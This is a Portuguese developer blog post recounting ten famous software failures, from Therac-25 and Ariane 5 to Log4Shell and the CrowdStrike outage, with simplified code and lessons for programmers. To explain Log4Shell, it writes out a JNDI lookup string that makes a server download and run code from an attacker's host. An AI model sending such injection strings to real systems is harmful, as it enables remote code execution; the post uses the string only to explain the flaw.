10 Bugs que Mudaram a Historia da Tecnologia

A gente escreve código todo dia e raramente para pra pensar no estrago que um bug pode causar. A maioria dos nossos bugs gera um 500 no servidor, uma tela quebrada, no máximo um cliente irritado no Slack. Dá pra corrigir em minutos.

Mas software não vive só na web. Software controla foguetes, máquinas de radioterapia, sistemas de trading que movem bilhões por segundo, aviões comerciais com 200 pessoas dentro. Quando um bug aparece nesses lugares, o resultado é outro. Morre gente. Empresas desaparecem. Governos entram em pânico.

Esses são os 10 bugs que eu considero os mais impactantes da história da tecnologia. Não escolhi por popularidade — escolhi pelo tamanho do estrago e pela lição que cada um deixou pra quem escreve código profissionalmente.

1. Therac-25: o bug que matou pacientes

Esse é o caso mais sombrio da história do software. O Therac-25 era uma máquina de radioterapia usada em hospitais nos anos 80. Ela tinha dois modos: um de baixa energia (com um feixe de elétrons espalhado) e um de alta energia (com um feixe concentrado que precisava de um escudo metálico na frente). O software controlava qual modo estava ativo.

O bug era uma race condition. Se o operador digitasse os comandos rápido demais — trocando de modo e apertando Enter antes que o sistema processasse a mudança — a máquina disparava o feixe de alta energia sem o escudo posicionado. Pacientes receberam doses de radiação centenas de vezes acima do normal. Pelo menos 6 pessoas tiveram overdose de radiação. Três morreram diretamente por causa disso.

O código do Therac-25 foi escrito por uma única pessoa, sem revisão. Não tinha testes automatizados. Não tinha redundância de hardware. O fabricante, a AECL, ignorou os primeiros relatos de problemas e culpou os operadores. Levou dois anos e múltiplas mortes até o bug ser identificado e corrigido.

2. Ariane 5: 370 milhões virando fogo em 37 segundos

4 de junho de 1996. O foguete Ariane 5 da Agência Espacial Europeia decola pela primeira vez. 37 segundos depois, ele se autodestrói no ar. 370 milhões de dólares em hardware viraram uma bola de fogo sobre a Guiana Francesa.

O bug? Integer overflow. O sistema de navegação tentou converter um valor de velocidade horizontal de ponto flutuante de 64 bits para um inteiro de 16 bits. O valor era grande demais. O número estourou. O sistema de navegação entendeu que o foguete estava fora de curso e mandou os motores corrigirem violentamente. A estrutura não aguentou e o foguete se despedaçou.

O mais absurdo: esse código veio do Ariane 4, que funcionava perfeitamente. O Ariane 5 era mais rápido e gerava valores de velocidade horizontal maiores do que o Ariane 4 jamais produziu. Ninguém testou se o código antigo aguentava os novos parâmetros. Reutilização de código sem revalidação destruiu 370 milhões de dólares em menos de um minuto.

-- Pseudocódigo simplificado do bug do Ariane 5
-- Valor real de velocidade horizontal: 32768.0 (float 64-bit)
-- Range de inteiro 16-bit: -32768 a 32767

L_M_BV_32 := Integer_16(BH_R_A_Velocity);
-- BH_R_A_Velocity = 32768.0
-- Integer_16 max = 32767
-- OVERFLOW → exceção → sistema de navegação desliga
-- Foguete perde controle → autodestruição

3. Y2K: o bug de dois dígitos que custou 300 bilhões

Nos anos 60, 70 e 80, memória era cara. Programadores economizavam cada byte que podiam. Uma das economias mais comuns: armazenar o ano com dois dígitos em vez de quatro. 1998 virava 98. 1999 virava 99. E 2000? Virava 00.

O problema é que 00 era menor que 99. Sistemas financeiros que calculavam juros achavam que a diferença entre 1999 e 2000 era de -99 anos. Sistemas de controle de idade achavam que todo mundo tinha acabado de nascer. Bancos, hospitais, usinas nucleares, tráfego aéreo — tudo rodava em COBOL ou Fortran com anos de dois dígitos.

O mundo gastou estimados 300 bilhões de dólares corrigindo o Y2K. Milhares de programadores COBOL saíram da aposentadoria pra reescrever sistemas bancários. No final, a virada de 1999 pra 2000 foi tranquila na maioria dos lugares — justamente porque gastaram esses 300 bilhões. Quem diz que o Y2K foi exagero não entende que a catástrofe não aconteceu porque foi prevenida, não porque não existia.

4. Knight Capital: 440 milhões perdidos em 45 minutos

1 de agosto de 2012. A Knight Capital Group era uma das maiores firmas de trading dos EUA. De manhã, eles fizeram um deploy de código novo nos servidores de produção. O código novo usava uma flag que reativava código antigo de teste — um código que comprava ações no mercado sem limite de preço.

O deploy foi feito manualmente em 8 servidores. Um técnico esqueceu de atualizar um deles. Quando o mercado abriu às 9:30 da manhã, aquele servidor começou a executar o código de teste. Em 45 minutos, a Knight comprou e vendeu ações no valor de 7 bilhões de dólares em transações não autorizadas, acumulando um prejuízo de 440 milhões.

A empresa quase faliu na mesma semana. Foi comprada por outra firma dias depois a preço de banana. Uma firma bilionária destruída porque o deploy era manual e não tinha rollback automático.

5. Heartbleed: o buraco no coração da internet

Abril de 2014. Pesquisadores descobrem o Heartbleed, uma vulnerabilidade no OpenSSL — a biblioteca que protege a comunicação segura de dois terços dos servidores web do mundo. Bancos, e-commerce, redes sociais, e-mail. Tudo dependia do OpenSSL.

O bug era simples de entender. O protocolo TLS tem um recurso chamado heartbeat, que serve pra manter a conexão viva. O cliente manda uma mensagem dizendo 'aqui tem 5 bytes de dados' e o servidor responde com esses 5 bytes de volta. O problema: o servidor não verificava se a mensagem realmente tinha 5 bytes. Um atacante podia mandar uma mensagem dizendo 'aqui tem 64 mil bytes' quando na verdade mandou 1 byte. O servidor respondia com 64 mil bytes da própria memória — incluindo senhas, chaves privadas, cookies de sessão, qualquer coisa que estivesse na RAM.

/* O bug do Heartbleed simplificado */
/* O código vulnerável no OpenSSL: */
memcpy(response, request->data, request->length);

/* request->length dizia 65535 (64KB) */
/* request->data tinha só 1 byte */
/* memcpy copiava 64KB de memória do servidor */
/* Incluindo: senhas, chaves SSL, tokens... */

/* A correção: verificar o tamanho real */
if (request->length > actual_data_length) {
    return; /* rejeita */
}

O Heartbleed ficou aberto por dois anos antes de ser descoberto. Ninguém sabe quantos atacantes já sabiam dele e exploraram em silêncio. O OpenSSL era mantido por dois devs em tempo parcial com um orçamento anual de menos de 1 milhão de dólares. A infraestrutura de segurança da internet inteira dependia de voluntários.

6. Log4Shell: a vulnerabilidade de nota 10

Dezembro de 2021. O mundo da segurança descobre que o Log4j — a biblioteca de logging mais usada em Java — tem uma vulnerabilidade que recebe nota 10 de 10 no CVSS (o sistema de pontuação de severidade). Nota 10 significa: qualquer pessoa na internet pode executar código no seu servidor mandando uma string no lugar certo.

O ataque funcionava assim: o Log4j tinha uma feature de lookup que resolvia variáveis dentro de strings de log. Se você logasse uma string contendo ${jndi:ldap://servidor-do-atacante/malware}, o Log4j conectava no servidor do atacante, baixava código Java e executava no seu servidor. Bastava mandar essa string como user-agent, como header HTTP, como campo de formulário — qualquer coisa que fosse logada.

O impacto foi gigantesco. Minecraft, Apple iCloud, Cloudflare, Amazon, Tesla, Twitter — a lista de sistemas vulneráveis era basicamente a internet inteira. O Log4j estava embutido em milhares de dependências transitivas. Muitas empresas nem sabiam que usavam ele. Foram meses de patches emergenciais no mundo todo.

7. Boeing 737 MAX: quando software mata e a cultura encobre

O Boeing 737 MAX entrou em serviço em 2017. Em outubro de 2018, o voo Lion Air 610 caiu no mar da Indonésia. 189 mortos. Em março de 2019, o voo Ethiopian Airlines 302 caiu em condições parecidas. 157 mortos. Total: 346 pessoas mortas.

A causa era o MCAS (Maneuvering Characteristics Augmentation System). A Boeing mudou o design das turbinas do 737, que ficaram maiores e foram reposicionadas. Isso alterou a aerodinâmica do avião, fazendo o nariz subir em certas condições. Em vez de redesenhar o avião, a Boeing criou um software — o MCAS — que empurrava o nariz pra baixo automaticamente.

O MCAS usava dados de um único sensor de ângulo de ataque. Se esse sensor desse leitura errada, o MCAS empurrava o nariz do avião pro chão repetidamente. Os pilotos tentavam puxar o nariz pra cima, o MCAS empurrava de volta. Nos dois acidentes, os pilotos perderam a luta contra o software. O avião mergulhou no chão em velocidade máxima.

O mais revoltante: a Boeing sabia dos problemas. Engenheiros internos levantaram preocupações. A empresa pressionou a FAA pra aprovar o avião sem exigir retreinamento de pilotos — porque retreinamento custava caro e atrasava vendas. Os pilotos nem sabiam que o MCAS existia. Não estava no manual.

8. Cloudflare Outage 2019: regex que derrubou metade da internet

2 de julho de 2019. A Cloudflare protege e acelera milhões de sites. Uma atualização de regra no WAF (Web Application Firewall) incluiu uma expressão regular mal escrita. A regex causou backtracking catastrófico — basicamente, o motor de regex ficou preso em um loop exponencial tentando processar a expressão.

CPU dos servidores Cloudflare no mundo inteiro bateu 100%. Sites que dependiam da Cloudflare ficaram fora do ar por quase uma hora. Discord, Reddit, e centenas de outros serviços foram afetados. Uma regex. Uma linha de texto. Derrubou metade da internet.

# A regex problemática (simplificada)
(?:(?:\")+)+

# O problema: backtracking catastrófico
# Para uma string de N aspas, o motor de regex
# tenta 2^N combinações diferentes antes de falhar
# Com 20 aspas: ~1 milhão de tentativas
# Com 30 aspas: ~1 bilhão de tentativas
# CPU: 100%. Servidor: travado.

A correção demorou 27 minutos depois que identificaram o problema. Mas a detecção demorou porque as ferramentas internas da Cloudflare também dependiam da própria Cloudflare — e estavam fora do ar junto com todo o resto. Monitoramento que depende da infraestrutura que ele monitora é receita pra desastre.

9. CrowdStrike 2024: 8.5 milhões de máquinas Windows com tela azul

19 de julho de 2024. A CrowdStrike é uma das maiores empresas de segurança do mundo. O Falcon, software deles de proteção endpoint, roda no nível do kernel do Windows — o nível mais baixo e mais privilegiado do sistema operacional. Nesse dia, eles publicaram um update de definição de ameaças que continha dados malformados.

O driver do Falcon tentou processar esses dados, encontrou um ponteiro nulo (null pointer dereference) e causou um BSOD — a famosa tela azul da morte. O Windows reiniciava, o Falcon carregava antes de tudo, tentava processar o mesmo update, crash de novo. Loop infinito de tela azul. 8.5 milhões de máquinas Windows ao redor do mundo ficaram inutilizáveis.

Aeroportos pararam. Hospitais voltaram pro papel. Bancos fecharam. Voos foram cancelados no mundo inteiro. A Microsoft estimou que o impacto total ultrapassou 10 bilhões de dólares. E o mais impressionante: não foi um ataque hacker. Foi um update de rotina que passou pela pipeline sem validação adequada.

10. Healthcare.gov: o site de 1.7 bilhão que não funcionava

Outubro de 2013. O governo dos EUA lança o Healthcare.gov, o marketplace do Obamacare onde milhões de americanos iam contratar plano de saúde. O site custou 1.7 bilhão de dólares. No dia do lançamento, só 6 pessoas conseguiram se cadastrar. Seis. Num país de 300 milhões.

O site não aguentou a carga. Mas o problema não era só performance — era tudo. O frontend tinha bugs visuais. Os formulários travavam no meio. O backend não comunicava corretamente com os sistemas das seguradoras. As sessões expiravam aleatoriamente. A integração com o IRS (Receita Federal americana) falhava silenciosamente.

O projeto foi gerenciado por 55 contratantes diferentes sem um integrador único. Ninguém era responsável pelo sistema como um todo. Ninguém fez load testing com o volume esperado de usuários. O governo tinha estimado 50 mil usuários simultâneos, mas o site aguentava menos de mil.

O padrão que se repete em todos os desastres

Olhando os 10 casos juntos, dá pra ver um padrão claro. Não são bugs exóticos de computação quântica. São problemas que a gente conhece: integer overflow, race condition, falta de validação de input, deploy sem rollback, teste insuficiente, e acima de tudo — pressão por prazo esmagando a engenharia.

Em praticamente todos os casos, alguém dentro da organização sabia que tinha problema. Engenheiros da Boeing levantaram alertas sobre o MCAS. Devs do Healthcare.gov sabiam que o sistema não estava pronto. Operadores do Therac-25 reportaram comportamento estranho meses antes das mortes. A informação existia. Foi ignorada.

As 5 lições que todo dev precisa internalizar

E o que muda pra mim que faço CRUD?

Galera, eu sei que a maioria de nós não programa foguete. Mas as lições se aplicam em qualquer escala. Você faz deploy manual em sexta-feira? Knight Capital. Você não valida input no backend porque 'o frontend já valida'? Heartbleed. Você reutiliza código de outro projeto sem testar nos novos parâmetros? Ariane 5.

Os princípios são os mesmos independente do domínio. Validar inputs. Testar edge cases. Fazer deploy com segurança. Ter rollback. Não ignorar alertas. A diferença é que quando você erra num e-commerce, um pedido fica duplicado. Quando erra num avião, 346 pessoas morrem. Mas os hábitos que previnem um previnem o outro.

Se quiser ir mais fundo na história do desenvolvimento de software, o hub sobre a história não contada do desenvolvimento cobre mais casos e conecta tudo com a evolução da profissão de dev. E se integer overflow te interessou, tem um artigo detalhado explicando o bug em várias linguagens com exemplos de código pra você testar na sua máquina.